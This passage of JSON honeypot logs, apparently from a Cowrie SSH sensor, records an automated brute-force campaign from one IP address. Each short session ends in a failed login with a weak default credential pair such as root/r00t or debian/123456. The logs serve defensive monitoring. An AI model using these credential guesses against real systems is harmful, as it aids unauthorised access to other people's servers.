cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:39.007541Z","src_ip":"192.109.200.78","session":"ca0473750896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:39.374217Z","src_ip":"192.109.200.78","session":"ca0473750896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:40.457636Z","src_ip":"192.109.200.78","session":"ca0473750896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44378,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48db3469014","protocol":"ssh","message":"New connection: 192.109.200.78:44378 (10.17.0.5:22) [session: f48db3469014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:42.388541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:42.392603Z","src_ip":"192.109.200.78","session":"f48db3469014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:42.474133Z","src_ip":"192.109.200.78","session":"f48db3469014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:42.719452Z","src_ip":"192.109.200.78","session":"f48db3469014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:43.803520Z","src_ip":"192.109.200.78","session":"f48db3469014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44392,"dst_ip":"10.17.0.5","dst_port":22,"session":"856896a2f4c7","protocol":"ssh","message":"New connection: 192.109.200.78:44392 (10.17.0.5:22) [session: 856896a2f4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:45.626432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:45.630422Z","src_ip":"192.109.200.78","session":"856896a2f4c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:45.714359Z","src_ip":"192.109.200.78","session":"856896a2f4c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:45.959692Z","src_ip":"192.109.200.78","session":"856896a2f4c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:47.042903Z","src_ip":"192.109.200.78","session":"856896a2f4c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44396,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a525d44801","protocol":"ssh","message":"New connection: 192.109.200.78:44396 (10.17.0.5:22) [session: e4a525d44801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:48.961114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:48.965101Z","src_ip":"192.109.200.78","session":"e4a525d44801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:49.045732Z","src_ip":"192.109.200.78","session":"e4a525d44801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"term2","message":"login attempt [term2/term2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:49.411942Z","src_ip":"192.109.200.78","session":"e4a525d44801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:50.496242Z","src_ip":"192.109.200.78","session":"e4a525d44801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47840,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d507d60ab6","protocol":"ssh","message":"New connection: 192.109.200.78:47840 (10.17.0.5:22) [session: 77d507d60ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:52.472050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:52.477183Z","src_ip":"192.109.200.78","session":"77d507d60ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:52.557897Z","src_ip":"192.109.200.78","session":"77d507d60ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"user","message":"login attempt [www/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:52.799725Z","src_ip":"192.109.200.78","session":"77d507d60ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:53.883309Z","src_ip":"192.109.200.78","session":"77d507d60ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47854,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d49e8b3d296","protocol":"ssh","message":"New connection: 192.109.200.78:47854 (10.17.0.5:22) [session: 6d49e8b3d296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:55.765803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:55.769734Z","src_ip":"192.109.200.78","session":"6d49e8b3d296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:55.850588Z","src_ip":"192.109.200.78","session":"6d49e8b3d296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:56.095387Z","src_ip":"192.109.200.78","session":"6d49e8b3d296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:57.179202Z","src_ip":"192.109.200.78","session":"6d49e8b3d296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47862,"dst_ip":"10.17.0.5","dst_port":22,"session":"16df752eedfe","protocol":"ssh","message":"New connection: 192.109.200.78:47862 (10.17.0.5:22) [session: 16df752eedfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:59.109004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:59.126112Z","src_ip":"192.109.200.78","session":"16df752eedfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:59.194798Z","src_ip":"192.109.200.78","session":"16df752eedfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:59.513627Z","src_ip":"192.109.200.78","session":"16df752eedfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:00.595809Z","src_ip":"192.109.200.78","session":"16df752eedfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36002,"dst_ip":"10.17.0.5","dst_port":22,"session":"e810d12eb60d","protocol":"ssh","message":"New connection: 192.109.200.78:36002 (10.17.0.5:22) [session: e810d12eb60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:02.427461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:02.436983Z","src_ip":"192.109.200.78","session":"e810d12eb60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:02.518626Z","src_ip":"192.109.200.78","session":"e810d12eb60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:02.768594Z","src_ip":"192.109.200.78","session":"e810d12eb60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:03.853107Z","src_ip":"192.109.200.78","session":"e810d12eb60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36018,"dst_ip":"10.17.0.5","dst_port":22,"session":"745a454f73d2","protocol":"ssh","message":"New connection: 192.109.200.78:36018 (10.17.0.5:22) [session: 745a454f73d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:05.659448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:05.663755Z","src_ip":"192.109.200.78","session":"745a454f73d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:05.745391Z","src_ip":"192.109.200.78","session":"745a454f73d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:05.991512Z","src_ip":"192.109.200.78","session":"745a454f73d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:07.075098Z","src_ip":"192.109.200.78","session":"745a454f73d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36042,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5552d9c376d","protocol":"ssh","message":"New connection: 192.109.200.78:36042 (10.17.0.5:22) [session: f5552d9c376d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:08.854384Z"}
